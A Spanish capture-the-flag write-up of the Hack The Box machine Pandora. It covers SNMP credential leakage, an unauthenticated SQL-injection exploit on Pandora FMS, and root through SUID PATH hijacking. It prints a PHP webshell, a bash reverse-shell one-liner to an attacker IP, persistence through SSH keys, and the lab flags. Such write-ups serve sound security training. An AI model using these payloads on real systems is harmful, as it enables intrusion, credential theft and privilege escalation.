the_open_door
café
ESEN

Pandora

HackTheBoxFácilLinux10.10.11.136

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#linux#snmp#snmp-enumeration#credential-reuse#ssh#local-port-forwarding#pandora-fms#sqli#file-upload#rce#suid#path-hijacking#oscp
TL;DR. El TCP solo expone SSH y un Apache que resulta ser un rabbit hole. La pista está en UDP: el 161 corre SNMP con la comunidad por defecto public, y al volcarlo con snmpbulkwalk se filtran las credenciales daniel:HotelBabylon23. Por reutilización entramos por SSH como daniel. Un virtual host solo accesible desde localhost esconde Pandora FMS v7.0NG.742; lo sacamos a la luz con port forwarding y lo explotamos con una SQLi no autenticada que sube una webshell y da RCE como matt (user). Para root, un binario SUID propio (pandora_backup) llama a tar sin ruta absoluta: PATH hijacking.

Reconocimiento

Ping

Empezamos con un ping para confirmar que el host responde y mirar el TTL, que orienta sobre el sistema operativo (≈64 Linux, ≈128 Windows).

ping -c 1 10.10.11.136

ping a 10.10.11.136: ttl=63 apunta a Linux

64 bytes from 10.10.11.136: icmp_seq=1 ttl=63 time=118 ms

TTL 63 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 63 = 64−1; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios.

Escaneo de puertos (TCP)

Un escaneo completo de los 65535 puertos TCP devuelve solo dos abiertos, 22 y 80:

nmap -sS -n -Pn -p- --min-rate 5000 --open 10.10.11.136

nmap -p-: 22/tcp ssh y 80/tcp http abiertos

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

El escaneo de versiones y scripts básicos sobre ambos puertos confirma un SSH y un Apache recientes, sin nada directamente explotable:

extractPorts, una función del .zshrc, resume el fichero -oG y deja los puertos en el portapapeles:

extractPorts scan

extractPorts resume el escaneo de Pandora: IP 10.10.11.136 y puertos abiertos 22,80, copiados al portapapeles

Extracting information ...
IP Address: 10.10.11.136
Open ports: 22,80

Ports copied to clipboard
nmap -p22,80 -sCV 10.10.11.136

nmap -sCV: OpenSSH 8.2p1 y Apache 2.4.41, http-title Play | Landing

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Play | Landing
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Para descartar que alguno de esos servicios corra en un contenedor Docker, cotejamos las versiones exactas en Launchpad (el repositorio de paquetes de Ubuntu): tanto el apache2 2.4.41 como el OpenSSH aparecen subidos al codename Focal (Ubuntu 20.04):

Launchpad muestra el paquete apache2 2.4.41-4ubuntu3.10 subido a Focal

La misma consulta con la cadena exacta del SSH (1:8.2p1-4ubuntu0.3) devuelve el mismo codename:

Launchpad muestra el paquete openssh 1:8.2p1-4ubuntu0.3 con Uploaded to Focal resaltado

openssh 1:8.2p1-4ubuntu0.3 source package in Ubuntu
Changelog
  openssh (1:8.2p1-4ubuntu0.3) focal; urgency=medium
  -- Athos Ribeiro   Fri, 23 Jul 2021 09:55:12 -0300
Uploaded to: Focal
Architectures: any all      Section: net

Los codenames de ambos servicios coinciden (Ubuntu Focal), lo que sugiere que no hay un contenedor Docker de por medio, sino la máquina anfitriona. Cuando el TCP no da vector, conviene mirar el UDP.

Escaneo de puertos UDP

El UDP es lento, así que lo acotamos a los 100 puertos más comunes:

nmap -sU --min-rate 5000 -Pn -n --open --top-ports 100 10.10.11.136 | grep -v 'no-response'

nmap UDP: 161/udp abierto (snmp)

PORT    STATE SERVICE REASON
161/udp open  snmp    udp-response ttl 63

Aparece 161/udp (SNMP). Un escaneo dirigido con scripts confirma un servidor SNMPv1/SNMPv3 con la comunidad public y, ya de entrada, deja ver que expone la lista de procesos del sistema (snmp-processes):

nmap -sUCV -p161 10.10.11.136

nmap -sUCV -p161: SNMPv1/SNMPv3 server (public), snmp-info e interfaces, y una lista snmp-processes con systemd, kthreadd...

PORT    STATE SERVICE VERSION
161/udp open  snmp    SNMPv1 server; net-snmp SNMPv3 server (public)
| snmp-processes:
|   1: Name: systemd  Path: /sbin/init
|   2: Name: kthreadd
|_  ...

Que SNMP exponga los procesos es la pista clave: si algún proceso arrancó con credenciales en su línea de comando, aparecerán aquí. Lo dejamos anotado y antes terminamos de exprimir el 80.

HTTP - TCP 80 (rabbit hole)

whatweb identifica las tecnologías del sitio y, de paso, un dominio que añadimos a /etc/hosts para el virtual hosting:

whatweb http://10.10.11.136

whatweb sobre el HTTP: Apache, dominio panda.htb

http://10.10.11.136 [200 OK] Apache[2.4.41], Bootstrap, Email[contact@panda.htb,example@yourmail.com,support@panda.htb], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.10.11.136], Title[Play | Landing], probably WordPress

Wappalyzer, en el navegador, dibuja la misma pila sobre la portada azul de PLAY, y no añade ninguna capa de aplicación: no hay CMS, solo Apache sirviendo una plantilla de Bootstrap.

la portada azul PLAY con Wappalyzer detectando Apache 2.4.41, Ubuntu y Bootstrap

Web servers: Apache HTTP Server 2.4.41
Operating systems: Ubuntu
UI frameworks: Bootstrap

El texto de la portada, además, deja caer el nombre que interesa: PLAY is an extention of Panda.HTB, bringing network monitoring solutions to your doorstep. Esa mención a monitorización de red es la primera pista de lo que se acabará encontrando detrás.

Añadimos panda.htb al /etc/hosts para poder pedir el virtual host por su nombre:

echo '10.10.11.136 panda.htb' | sudo tee -a /etc/hosts

/etc/hosts con la línea 10.10.11.136 panda.htb añadida

127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters

10.10.11.136    panda.htb

Con el dominio resuelto, probamos fuzzing de subdominios. Filtrando por el tamaño de la respuesta base solo sobreviven dos aciertos, y ambos son falsos positivos (respuesta 400):

wfuzz -u http://panda.htb -w subdomains-top1million-110000.txt -H 'Host: FUZZ.panda.htb' -t 200 --hh=33560

wfuzz de subdominios: solo #www y #mail, ambos con respuesta 400 (inválidos)

ID           Response   Lines    Word     Chars    Payload
000009532:   400        10 L     35 W     301 Ch   "#www"
000010581:   400        10 L     35 W     301 Ch   "#mail"

Revisamos también el código fuente de la landing, pero solo contiene JavaScript de menú y desplazamiento, nada aprovechable:

view-source de la landing: solo JS de scroll de menú, sin nada interesante

Y un descubrimiento de rutas con dirsearch tampoco da fruto:

dirsearch -u http://panda.htb/ --exclude-status=403,404

dirsearch sobre panda.htb sin resultados de interés

Extensions: php, aspx, jsp, html, js | HTTP method: GET | Threads: 25 | Wordlist size: 11460
Target: http://panda.htb/

[21:50:29] 301 -  307B  - /assets  ->  http://panda.htb/assets/
[21:50:55] 200 -  476B  - /assets/
Task Completed

El sitio web es un callejón sin salida. Toca volver a lo que habíamos dejado pendiente: el SNMP.

SNMP - UDP 161 (fuga de credenciales)

SNMP (Simple Network Management Protocol) sirve para monitorizar y gestionar dispositivos de red; cuando usa la community string por defecto public y permite lectura, suele filtrar información del sistema (procesos, usuarios, líneas de comando enteras). Volcamos el árbol con snmpbulkwalk (más rápido que snmpwalk) a un fichero:

snmpbulkwalk -c public -v2c 10.10.11.136 > snmp_enumeration.txt
head -n 10 snmp_enumeration.txt

snmpbulkwalk: el sistema es Linux pandora, aparecen Daniel y Mississippi

iso.3.6.1.2.1.1.1.0 = STRING: "Linux pandora 5.4.0-91-generic #102-Ubuntu SMP Fri Nov 5 16:31:28 UTC 2021 x86_64"
iso.3.6.1.2.1.1.4.0 = STRING: "Daniel"
iso.3.6.1.2.1.1.5.0 = STRING: "pandora"
iso.3.6.1.2.1.1.6.0 = STRING: "Mississippi"

Entre las primeras líneas asoman palabras llamativas (Daniel, pandora, Mississippi), así que filtramos por ellas:

grep -iE 'daniel|pandora|Mississippi' snmp_enumeration.txt | head -n 10

grep en el volcado SNMP: línea host_check -u daniel -p HotelBabylon23

iso.3.6.1.2.1.25.4.2.1.5.868  = STRING: "-c sleep 30; /bin/bash -c '/usr/bin/host_check -u daniel -p HotelBabylon23'"
iso.3.6.1.2.1.25.4.2.1.5.1100 = STRING: "-u daniel -p HotelBabylon23"

SNMP había expuesto la línea de comando completa de un proceso que pasaba las credenciales en claro: daniel:HotelBabylon23. Como el SSH está abierto, las probamos ahí.

Shell como daniel

SSH como daniel

ssh daniel@10.10.11.136

ssh daniel: acceso concedido, Ubuntu 20.04.3 LTS

daniel@10.10.11.136's password:
Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
<SNIP>
daniel@pandora:~$

Las credenciales funcionan tal cual: reutilización de las creds filtradas por SNMP. daniel es un usuario sin permisos especiales (la flag de usuario todavía no es suya), así que enumeramos el sistema buscando el siguiente salto.

Shell como matt

Pandora FMS oculto tras localhost

Empezamos por la configuración de Apache. En /etc/apache2/sites-available hay un virtual host revelador:

ls /etc/apache2/sites-available
cat /etc/apache2/sites-available/pandora.conf
curl localhost

pandora.conf: VirtualHost localhost:80, AssignUserID matt, curl localhost redirige a /pandora_console/

<VirtualHost localhost:80>
  ServerAdmin admin@panda.htb
  ServerName pandora.panda.htb
  DocumentRoot /var/www/pandora
  AssignUserID matt matt
  <Directory /var/www/pandora>
    AllowOverride All
  </Directory>
</VirtualHost>

# curl localhost
<meta HTTP-EQUIV="REFRESH" content="0; url=/pandora_console/">

Tres datos importantes: el VirtualHost escucha en localhost:80 (no en la IP pública), corre con AssignUserID matt matt (es decir, el servidor web actúa como matt) y un curl localhost devuelve una redirección a /pandora_console/. Es decir, desde dentro de la máquina el 80 sirve un sitio distinto al que veíamos desde fuera. Para acceder a él desde nuestro Kali montamos un reenvío de puerto local por SSH:

ssh daniel@10.10.11.136 -L 80:127.0.0.1:80

local port forwarding por SSH del 80 local al 80 de la víctima

# lsof -i:80
COMMAND  PID    USER  FD  TYPE  DEVICE  SIZE/OFF  NODE  NAME
ssh      19210  root  4u  IPv6  57780   0t0       TCP   *:http (LISTEN)

Ahora http://localhost/pandora_console/ en nuestro navegador carga un panel Pandora FMS, cuya versión es v7.0NG.742:

Pandora FMS v7.0NG.742, pantalla de login

Pandora FMS v7.0NG.742: SQLi no autenticada → subida de fichero → RCE

Buscando esa versión aparece un exploit público en GitHub, shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated, descrito como una "Unauthenticated SQL injection" que suplanta al administrador y suelta una shell:

búsqueda "pandora fms v7.042 git exploit" con el resultado shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated

El README del repositorio lo asocia a CVE-2021-32099 y confirma la cadena: SQLi no autenticada → robo de sesión de administrador → subida de fichero → RCE:

repositorio del exploit: README con CVE-2021-32099 Pandora_v7.0NG.742 y los ficheros sqlpwn.py, requirements.txt

Esa versión es vulnerable a una inyección SQL no autenticada que permite robar una sesión de administrador y, a partir de ahí, subir un fichero al servidor (RCE). El exploit lo automatiza:

git clone https://github.com/shyam0904a/Pandora_v7.0NG.742_exploit_unauthenticated
cd Pandora_v7.0NG.742_exploit_unauthenticated
pip install -r requirements.txt
python3 sqlpwn.py -h

git clone del exploit de Pandora FMS y su ayuda

usage: sqlpwn.py [-h] -t TARGET [-f FILENAME]

Exploiting Sqlinjection To impersonate Admin

options:
  -h, --help               show this help message and exit
  -t, --target TARGET      Host Ip for the Exploiting with target Port
  -f, --filename FILENAME  Filename for Shell Upload with php extension

El script pide la IP del objetivo y un fichero a subir. Creamos una webshell mínima y, para evitar problemas de interpretación, codificamos en URL el one-liner de la reverse shell con Python antes de lanzarlo:

echo '<?php system($_GET["cmd"]); ?>' > webshell.php
python3 -c "import urllib.parse; print(urllib.parse.quote(\"bash -c 'bash -i >& /dev/tcp/10.10.16.6/4444 0>&1'\"))"
sudo nc -nlvp 4444
python3 sqlpwn.py -t 10.10.16.6 -f webshell.php

sqlpwn.py: Admin Session Cookie, Pwned, y la reverse shell entrante como matt

[+] Sending Injection Payload
[+] Requesting Session
[+] Admin Session Cookie : tur0sh095guascqkjfjobrk66d
[+] Sending Payload
[+] Respose : 200
[+] Pwned :)
[+] If you want manual Control : .../pandora_console/images/webshell.php?test=

Al enviar el payload codificado por el parámetro cmd, la webshell ejecuta la reverse shell y entramos como matt (el usuario con el que corría el servidor web, como anticipaba pandora.conf).

La shell de la webshell es inestable, así que dejamos persistencia con un par de claves SSH. Generamos el par en la propia víctima (como matt) y volcamos la clave privada para copiarla a nuestro Kali:

ssh-keygen
cat /home/matt/.ssh/id_rsa

en la víctima, ssh-keygen genera /home/matt/.ssh/id_rsa y cat muestra la clave privada para exfiltrarla

matt@pandora:/var/www/pandora/pandora_console/images$ ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/home/matt/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Created directory '/home/matt/.ssh'.
Your identification has been saved in /home/matt/.ssh/id_rsa
Your public key has been saved in /home/matt/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:NZZAY7bvUzbLKPaHvre4SgFtqevqzHI9uIFocvRinSY matt@pandora

matt@pandora:/var/www/pandora/pandora_console/images$ cat /home/matt/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAxzU5mhlwhQ+/4cTZPbBPlHQi/r1/SbTnbP+cbSmVA84hjvpZ1+q9
...
-----END OPENSSH PRIVATE KEY-----

Autorizamos esa clave añadiendo la pública al authorized_keys de matt:

cd /home/matt/.ssh
cat id_rsa.pub > authorized_keys
chmod 600 authorized_keys
ls -l

.ssh de matt: authorized_keys creado desde id_rsa.pub con permisos 600, junto a id_rsa e id_rsa.pub

matt@pandora:/home/matt$ cd .ssh
matt@pandora:/home/matt/.ssh$ cat id_rsa.pub > authorized_keys
matt@pandora:/home/matt/.ssh$ chmod 600 authorized_keys
matt@pandora:/home/matt/.ssh$ ls -l
total 12
-rw------- 1 matt matt  566 Oct  9 21:45 authorized_keys
-rw------- 1 matt matt 2602 Oct  9 21:44 id_rsa
-rw-r--r-- 1 matt matt  566 Oct  9 21:44 id_rsa.pub

Copiamos la clave privada a Kali y entramos limpiamente por SSH como matt:

ssh -i id_rsa matt@10.10.11.136

SSH como matt con la clave generada para persistencia

Welcome to Ubuntu 20.04.3 LTS (GNU/Linux 5.4.0-91-generic x86_64)
<SNIP>
Last login: Thu Oct  9 21:49:02 2025 from 10.10.16.6
matt@pandora:~$

Ya como matt, la flag de usuario:

cat user.txt

cat user.txt como matt

fae870c599165839be78209eed70e48d

Escalada de privilegios a root

Binario SUID pandora_backup: PATH hijacking

Listamos los binarios SUID. Entre los habituales aparece uno fuera de lo común, pandora_backup:

find / -perm -4000 2>/dev/null
which ltrace
ltrace /usr/bin/pandora_backup

find SUID muestra pandora_backup; ltrace revela system("tar -cvf ...") sin ruta absoluta

/usr/bin/pandora_backup
...
system("tar -cvf /root/.backup/pandora-b"...   tar: /root/.backup/pandora-backup.tar.gz: Cannot open: Permission denied

ltrace deja ver la clave: el binario llama a tar sin ruta absoluta. Como pandora_backup es SUID de root, busca tar recorriendo el PATH; si anteponemos un directorio nuestro con un tar falso, se ejecutará como root. Es un PATH hijacking de manual:

cd /tmp
echo 'chmod u+s /bin/bash' > tar
chmod +x tar
export PATH=/tmp:$PATH
/usr/bin/pandora_backup
ls -l /bin/bash
bash -p
id

PATH hijacking: tar falso, pandora_backup pone SUID a /bin/bash y bash -p da euid=0(root)

Backup successful!
-rwsr-xr-x 1 root root 1183448 Jun 18  2020 /bin/bash
uid=1000(matt) gid=1000(matt) euid=0(root) groups=1000(matt)

El tar falso (que hace chmod u+s /bin/bash) corre con privilegios de root, deja /bin/bash con bit SUID, y bash -p (que conserva el euid elevado) abre una shell con euid=0(root). La flag final:

cat /root/root.txt

cat /root/root.txt tras la escalada

dc25e384792744d3b1446a877801e40b

Cadena de ataque

nmap TCP (22, 80) → web = rabbit hole → nmap UDP (161 SNMP)
  └─> snmpbulkwalk -c public → fuga: daniel:HotelBabylon23
        └─> reutilización → ssh daniel
              └─> pandora.conf: vhost solo en localhost (AssignUserID matt)
                    └─> ssh -L 80:127.0.0.1:80 → Pandora FMS v7.0NG.742
                          └─> SQLi no autenticada (sqlpwn.py) → webshell → RCE como matt (user.txt)
                                └─> SUID pandora_backup → tar sin ruta absoluta
                                      └─> PATH hijacking → bash -p → root (root.txt)

Lecciones aprendidas

  • No olvidar UDP. El TCP solo daba un SSH y una web rabbit hole; toda la cadena dependía de escanear UDP y encontrar 161/udp. Un escaneo UDP acotado (--top-ports) por costumbre evita el atasco.
  • SNMP con public es una fuga de información. La comunidad por defecto y lectura habilitada expusieron la línea de comando completa de un proceso, con la contraseña en claro. La enumeración SNMP sigue dando credenciales en cajas reales más a menudo de lo que parece.
  • Las credenciales se reutilizan. Las creds filtradas por SNMP servían tal cual para SSH: el patrón reutilización de credenciales una vez más.
  • Lo que solo escucha en localhost no es invisible. Un servicio vulnerable atado a 127.0.0.1 deja de estar protegido en cuanto se tiene un punto de apoyo: el reenvío de puertos lo trae hasta el atacante.
  • Un binario SUID propio es superficie de ataque. pandora_backup invocaba tar por nombre; llamar a los binarios por ruta absoluta desde código privilegiado habría cerrado el PATH hijacking.
Cheatsheet de comandos 14 comandos

Repaso rápido